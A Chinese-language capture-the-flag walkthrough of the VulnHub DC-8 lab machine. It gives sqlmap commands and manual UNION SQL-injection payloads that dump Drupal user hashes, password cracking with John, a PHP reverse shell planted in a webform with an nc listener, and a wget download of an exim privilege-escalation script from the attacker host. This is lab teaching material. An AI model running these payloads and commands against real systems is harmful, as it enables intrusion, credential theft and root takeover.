0x00 前期准备
DC-8官网:https://www.vulnhub.com/entry/dc-8,367/
DC-8官wp:https://blog.mzfr.me/vulnhub-writeups/2019-09-5-DC8
-
官网提示:双重身份验证绕过,ssh相关。
-
开启成功。
0x01 sqlmap爆破/手动注入sql漏洞
-
常规扫描:
nmap 172.20.10.0/24
,找到DC8的ip地址为172.20.10.7,开放22、80端口。
-
访问网页,CMS是Drupal7。
-
依次点击detail中的栏目,看到url随之规律变化:?nid=1~3。
-
猜测是数字型,试着sql注入3-2=1验证。存在sql漏洞。
-
此处可以使用sqlmap工具爆破:
sqlmap -u 172.20.10.7/?nid=2 --dbs --batch --risk 3 --level 5
,爆破出mysql数据库中的两个库:使用参考:https://www.freebuf.com/sectool/164608.html
-
针对d7db爆破:
sqlmap -u 172.20.10.7/?nid=2 -D d7db --tables --batch --risk 3 --level 5
,爆出user表。
-
针对user表爆破:
sqlmap -u 172.20.10.7/?nid=2 -D d7db -T users --risk 3 --level 5 --dump
,可以看到有name和pass字段。
-
针对这两个字段爆破:
sqlmap -u 172.20.10.7/?nid=2 -D d7db -T users -C name,pass --dump
,得到admin、john用户和加密的密码。
-
或者,直接手动注入。因为是数字型注入,且有报错回显,开始借助hackbar爆库:
http://172.20.10.7/?nid=1' --+
。
-
爆出当前使用数据库名:
http://172.20.10.7/?nid=-1 union select database() --+
-
爆出数据库表名:
http://172.20.10.7/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
,找到user表。
-
爆列名:
http://172.20.10.7/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
,找到pass和name列名。
-
爆出这两列的内容,使用"-"连接:
http://172.20.10.7/?nid=-1 union select group_concat(name,'-',pass) from users --+
,得到同样的内容。
0x02 John爆破登陆&login页面寻找
-
把用户名和密文写入dc8hash.txt。
-
使用John破解:
john dc8hash.txt
,默认使用John自带词典。只爆破出了John的密码turtle。
-
回到网页,表面没找到登陆界面,回到终端用dirb扫描网页目录(速度很慢),尝试直接访问
http://172.20.10.7/robots.txt
,找到了登陆界面/user/login。
-
进入该网页路径,使用john-turtle登陆,成功。
0x03 反弹shell
-
依次点击contact us→webform→form setting,在页面中切换Text format为php code。显然,这里可以写入php反弹shell代码(依然使用DC3中0x02提到的脚本)最上面写一段test语句,开放端口7788。
-
拖到最下,保存contact us的配置,kali开启7788端口监听:
nc -lvvp 7788
,回到contact随意填写表单,其中邮件地址需要加@,否则提示地址错误无法提交。
-
点击submit提交,kali中出现回显,反弹shell成功,进入交互式界面:
python -c 'import pty;pty.spawn("/bin/bash")'
。
0x04 exim提权
-
使用find命令查找具有suid权限的命令:
find / -perm -u=s -type f 2>/dev/null
。找到/usr/sbin/exim4,/sbin存放系统管理员以及其他需要root权限来运行的工具。sbin参考:https://cloud.tencent.com/developer/article/1009024
-
查询exim版本号:
exim4 –version
,得到版本为4.89。
-
在kali查询漏洞:
searchsploit exim 4 -w
。
-
访问,将网页内的bash脚本复制并写入本地46996.sh。在kali开启http服务:
python2 -m SimpleHTTPServer 5566
。
-
在dc8靶机下载文件:
wget http://172.20.10.3:5566/46996.sh
,注意此处一定要先切换到/tmp目录下,wget才拥有足够的权限写入文件。
-
赋予脚本可执行权限:
chmod +x 46996.sh
。回顾46996.sh注释,提示在netcat模式下执行脚本如下:./46996.sh -m netcat
-
按上一步执行脚本,提权成功。
-
进入root目录,找到flag.txt,渗透结束。